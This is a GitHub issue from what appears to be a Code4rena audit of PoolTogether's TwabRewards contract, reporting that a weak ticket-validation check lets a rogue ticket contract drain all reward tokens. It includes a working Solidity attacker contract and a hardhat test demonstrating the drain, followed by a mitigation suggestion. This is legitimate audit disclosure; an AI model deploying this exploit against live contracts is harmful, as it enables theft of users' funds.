code-423n4 / 2021-12-pooltogether-findings

0 stars 0 forks source link

Possibility to drain TwabRewards smart contract tokens #71

Closed code423n4 closed 2 years ago

code423n4 commented 2 years ago

Handle

kemmio

Vulnerability details

Impact

Possibility to drain all smart contract assets abusing rogue ticket contract

Proof of Concept

The vulnerability arises because of inconsistent check of _requireTicket() in createPromotion() https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L96

_requireTicket(_ticket);

https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L230-L244

function _requireTicket(address _ticket) internal view {
    require(_ticket != address(0), "TwabRewards/ticket-not-zero-address");

    (bool succeeded, bytes memory data) = address(_ticket).staticcall(
        abi.encodePacked(ITicket(_ticket).controller.selector)
    );

    address controllerAddress;

    if (data.length > 0) {
        controllerAddress = abi.decode(data, (address));
    }

    require(succeeded && controllerAddress != address(0), "TwabRewards/invalid-ticket");
}

This can be bypass with a PoC contract:

contract Attacker{
    function controller() external payable returns(address){
        return address(this);
    }
    function getAverageBalanceBetween(
        address user,
        uint64 startTime,
        uint64 endTime
    ) external view returns (uint256) {
        return 13; // this is multiplied by tokensPerEpoch;
    }
    function getAverageTotalSuppliesBetween(
        uint64[] calldata startTimes,
        uint64[] calldata endTimes
    ) external view returns (uint256[] memory){
        uint256[] memory ret = new uint256[](1);
        ret[0] = 1;
        return ret; 
    }
}

After creating the promotion the claimRewards() is called and the claimed tokens count are manipulated by getAverageBalanceBetween() and getAverageTotalSuppliesBetween() functions of the rogue contract

Proof of Concept(hardhat test case):

describe('Attack', async()=>{
    it('attacker able to withdraw more than he can', async()=>{
        //CREATE PROMOTION FOR OTHER USERS
        const promotionId = 1;

        await expect(createPromotion(ticket.address))
            .to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionId);

        const promotion = await twabRewards.callStatic.getPromotion(promotionId);

        expect(promotion.creator).to.equal(wallet1.address);
        expect(promotion.ticket).to.equal(ticket.address);
        expect(promotion.token).to.equal(rewardToken.address);
        expect(promotion.tokensPerEpoch).to.equal(tokensPerEpoch);
        expect(promotion.startTimestamp).to.equal(createPromotionTimestamp);
        expect(promotion.epochDuration).to.equal(epochDuration);
        expect(promotion.numberOfEpochs).to.equal(numberOfEpochs);

         let attackerTicketFactory = await getContractFactory('Attacker');
         let attackerTicket = await attackerTicketFactory.deploy();

         const att_tokensPerEpoch = toWei('10000');
         const att_epochDuration = 1; // 1 week in seconds
         const att_numberOfEpochs = 1; // 3 months since 1 epoch runs for 1 week
         const att_promotionAmount = att_tokensPerEpoch.mul(att_numberOfEpochs);

         createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;

         await rewardToken.mint(attacker.address, att_promotionAmount);
         await rewardToken.connect(attacker).approve(twabRewards.address, att_promotionAmount);

         await expect(twabRewards.connect(attacker).createPromotion(
         attackerTicket.address,
         rewardToken.address,
         att_tokensPerEpoch,
         createPromotionTimestamp,
         att_epochDuration,
         att_numberOfEpochs,
         )).to.emit(twabRewards, 'PromotionCreated');

        //check if all rewardTokens are in possession of TWAB contract
        let balance = await rewardToken.balanceOf(twabRewards.address);
        console.log(balance.toString());
        expect(balance).to.be.equal(att_promotionAmount.add(promotionAmount));

        await twabRewards.connect(attacker).claimRewards(attacker.address, 2, [0]);

        expect(await rewardToken.balanceOf(attacker.address)).to.be.equal(balance);
        //ALL ASSETS DRAINED
    });
});

For the test to run properly: 1)add this test to TwabRewards.test.ts 2) Add or rename one of the signers to "attacker"

[wallet1, wallet2, wallet3, attacker] = await getSigners();

3)Create Attacker.sol in /contracts/ folder with the PoC

Tools Used

Recommended Mitigation Steps

Harden the _requireTicket() check e.g. if there are multiple tickets, keep a registry of them

PierrickGT commented 2 years ago

Duplicate of https://github.com/code-423n4/2021-12-pooltogether-findings/issues/1